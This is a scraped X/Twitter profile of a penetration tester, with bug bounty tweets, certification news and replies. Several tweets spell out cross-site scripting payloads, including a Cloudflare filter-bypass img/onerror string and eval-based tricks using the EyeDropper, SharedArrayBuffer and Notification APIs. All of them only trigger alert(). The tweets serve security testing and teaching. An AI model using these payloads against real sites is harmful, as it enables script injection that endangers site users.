![Sergio Medeiros Profile](https://pbs.twimg.com/profile_images/1647699611468075009/_aOox0vC_x96.jpg)
Sergio Medeiros
@grumpzsux
Followers
4K
Following
4K
Statuses
900
|| Penetration Tester @ Synack || eWPTXv2, CAPenX, CAPen, eWPT, eCPPTv2 , eJPT certified. Opinions are my own. || #bugbounty #bugbountytips #cybersecurity
San Jose, CA
Joined June 2020
@G0LDEN_infosec I tend to switch gears, maybe itβs 0day hunting, writing articles to help new comers etc, eventually it reignites my motivation to hunt.
0
0
2
π¨ #XSS Payload CloudFlare Bypass by @Team_R70 <img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'> #bugbountytips #BugBounty #bugbountytip #HackTheBox
1
2
8
β οΈCVE-2024-53677 in Apache Struts: Path Traversal allows uploading files to arbitrary locations. Updating to Struts >6.4.0 is not enough if youβre still using FileUploadInterceptor. Great write-up by @Y4tacker! Details + PoC β¬οΈ
0
1
5
@0xTib3rius @albinowax Thatβs my pet peeve right there, absolutely have to sort it that way too!
0
0
0
Proud to announce that I have obtained the CAPenX - Certified AppSec Pentesting eXpert certification by @TheSecOpsGroup - Definitely a tough one! But loved the modern attack vectors. #BugBounty #HackTheBox #appsec #bugbountytips #cybersecurity
0
0
7
π XSS Trick of the Day! π π‘ EyeDropper API: Open the color picker with a surprise twist! ποΈ new EyeDropper().open().catch(()=>alert(1)) π If unsupported, the catch block triggers alert(1) instead! (chrome only)β οΈ #Cybersecurity #JavaScript #BugBountyTips #XSS #WebSecurity πΎ
0
2
9
@NahamSec Donβt assume that since a listing is old that everything has been found. In-depth enumeration will open a lot of doors.
0
0
4
π¨π‘ XSS via SharedArrayBuffer! Hereβs how to encode and execute malicious payloads with buffer manipulation! ππ§βπ» let encoder = new TextEncoder(); let buf = new Uint8Array(8); encoder.encodeInto('alert(1)', buf); eval(String.fromCharCode(...buf)); Encode, buffer, execute, repeat! π Time to level up your XSS skills! π£ #XSS #BugBounty #BugBountyTips #WebSecurity #CyberSecurity
1
1
4
π¨π XSS via Notification.permission API! Wanna pop an alert when permissions are granted? π Hereβs a clever payload: Notification.requestPermission().then(() => eval('alert(1)')); Get permission, get execution! π₯ Perfect for hunting those tricky bugs! ππ‘ #XSS #BugBounty #WebSecurity #JavaScript #CyberSecurity
0
1
5